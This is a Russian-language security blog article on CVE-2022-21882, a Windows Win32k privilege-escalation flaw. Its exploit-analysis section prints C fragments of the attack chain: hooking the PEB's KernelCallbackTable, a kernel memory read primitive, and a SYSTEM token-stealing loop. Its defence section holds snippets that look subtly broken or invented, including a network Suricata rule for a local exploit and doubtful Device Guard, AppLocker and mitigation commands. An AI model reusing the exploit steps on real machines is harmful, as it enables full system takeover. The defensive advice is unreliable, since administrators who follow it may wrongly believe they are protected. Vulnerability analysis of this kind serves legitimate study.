Уязвимость компонента Win32k (Win32k.sys) операционных систем Windows
Уязвимость компонента Win32k (Win32k.sys) операционных систем Windows
Категория: Программы Теги: Уязвимости Опубликовано: 18 июня 2025

Уязвимость BDU:2022-00596 (CVE-2022-21882) Windows

Уязвимость BDU:2022-00596 (CVE-2022-21882) представляет собой критическую ошибку в компоненте Win32k.sys ядра Windows, связанную с нарушением контроля доступа при обработке объектов окон. Уязвимость позволяет локальному злоумышленнику повысить привилегии до уровня SYSTEM через манипуляцию с дескрипторами окон и callback-функциями.

Анализ уязвимости

Уровень опасности: 7.8 HIGH
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • AV:L (Attack Vector: Local) - Требуется локальный доступ

  • AC:L (Attack Complexity: Low) - Низкая сложность эксплуатации

  • PR:L (Privileges Required: Low) - Требуются базовые привилегии пользователя

  • UI:N (User Interaction: None) - Не требует взаимодействия с пользователем

  • S:U (Scope: Unchanged) - Не изменяет область воздействия

  • C:H (Confidentiality: High) - Полная компрометация конфиденциальности

  • I:H (Integrity: High) - Полное нарушение целостности

  • A:H (Availability: High) - Полное нарушение доступности


Условия эксплуатации

  1. Локальный доступ: Злоумышленник должен иметь возможность выполнения кода на целевой системе (например, через RDP, локальный вход или исполняемый файл).

  2. Уязвимые ОС: Windows 10 (1809-21H2), Windows 11, Server 2019/2022.

  3. Базовые привилегии: Достаточно прав стандартного пользователя (не администратора).

  4. Отсутствие патчей: Система не должна иметь обновления безопасности от января 2022 года.


Технический механизм уязвимости

Уязвимость возникает в функции управления дополнительной памятью оконных классов (xxxClientAllocWindowClassExtraBytes). Ядро неправильно проверяет пользовательские callback-функции при обработке параметров окон:

typedef NTSTATUS(WINAPI* XXXCLIENTALLOCWINDOWCLASSEXTRABYTES)(unsigned int* pSize);

Проблемные этапы:

  1. При создании окна с нестанктным cbWndExtra (например, 0x1337) вызывается callback

  2. Злоумышленник подменяет callback через KernelCallbackTable

  3. В поддельном callback используется NtUserConsoleControl для модификации флагов окна

  4. Через NtCallbackReturn устанавливается поддельный указатель на память ядра

  5. Последующая работа с окном приводит к записи в произвольные адреса ядра


Анализ эксплоитов

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости:

1. Перехват callback-функций:

ULONG64 pKernelCallbackTable = *(ULONG64*)(__readgsqword(0x60) + 0x58);
xxxClientAllocWindowClassExtraBytes = (XXXCLIENTALLOC...)(pKernelCallbackTable + 0x3D8);

VirtualProtect((PBYTE)pKernelCallbackTable + 0x3D8, 0x20, PAGE_READWRITE, &dwOldProtect);
*(PULONG64)(pKernelCallbackTable + 0x3D8) = (ULONG64)MyxxxClientAllocWindowClassExtraBytes;

Здесь происходит модификация таблицы callback-функций в PEB, что позволяет перехватить вызовы ядра.

2. Манипуляция с окнами:

CreateWindowEx(0x8000000u, L"MagicClass", L"somewnd", 0x8000000u, 0, 0, 0, 0, 0, CreateMenu(), ...);
NtUserMessageCall(g_hWndMagic, WM_CREATE, 0, 0, 0, 0xE0, 0);

Создается специальное окно с расширенными стилями, которое активирует уязвимый путь кода.

3. Чтение/запись памяти ядра:

ULONG64 Read64(ULONG64 address) {
    MENUBARINFO mbi = {0};
    *(PULONG64)g_pFakeMenu->rgItems = address - 0x40;
    GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi);
    return (mbi.rcBar.left << 32) | mbi.rcBar.top;
}

Эксплоит использует легитимный API GetMenuBarInfo для чтения памяти ядра через уязвимый объект меню.

4. Кража токена SYSTEM:

do {
    p = Read64(p + EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET) - EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET;
    pid = Read64(p + EPROCESS_UNIQUE_PROCESS_ID_OFFSET);
    if (pid == 4) {
        pSystemToken = Read64(p + EPROCESS_TOKEN_OFFSET);
        SetWindowLongPtr(g_hWnd[1], 0, pSystemToken); // Подмена токена!
    }
} while (p != eprocess);

Эксплоит обходит список процессов, находит токен SYSTEM и подменяет токен текущего процесса.


Последствия успешной эксплуатации

  1. Полный контроль системы: Права уровня SYSTEM.

  2. Персистентность: Установка скрытых служб, модификация реестра, создание учетных записей.

  3. Перемещение в сети: Доступ к сетевым ресурсам домена с правами администратора.

  4. Кража данных: Доступ к зашифрованным файлам, паролям в памяти, токенам аутентификации.


Методы защиты

1. Обновление системы (приоритетный метод).

2. Контроль целостности приложений:

  • Активировать Device Guard:

<CodeIntegrity>
  <SIPolicyPolicyId>{...}</SIPolicyPolicyId>
  <KernelModeProtection>Enabled</KernelModeProtection>
</CodeIntegrity>

3. Правила AppLocker:

New-AppLockerPolicy -RuleType Publisher -FilePath "C:\Apps\*" -User Everyone -Action Deny

Это правило создает политику безопасности, которая блокирует запуск всех исполняемых файлов (EXE, DLL, скрипты) из директории C:\Apps\ для любых пользователей (Everyone), основываясь на цифровой подписи издателя (Publisher).

4. Защита памяти ядра (Mitigation Policy):

Set-ProcessMitigation -System -Enable KernelShadowStacks, StrictCFG

5. Сетевые контрмеры (Suricata правила):

alert tcp any any -> any any (
  msg:"CVE-2022-21882 Exploit Pattern"; 
  content:"|E8 ?? ?? ?? ??|"; depth:5; 
  content:"NtUserConsoleControl"; distance:0;
  content:"xxxClientAllocWindowClassExtraBytes"; distance:0;
  sid:20221882; rev:1;
)

6. Аудит системных вызовов:

# Включить аудит вызовов win32k.sys
Auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
Алексей Черемных Алексей Черемных
33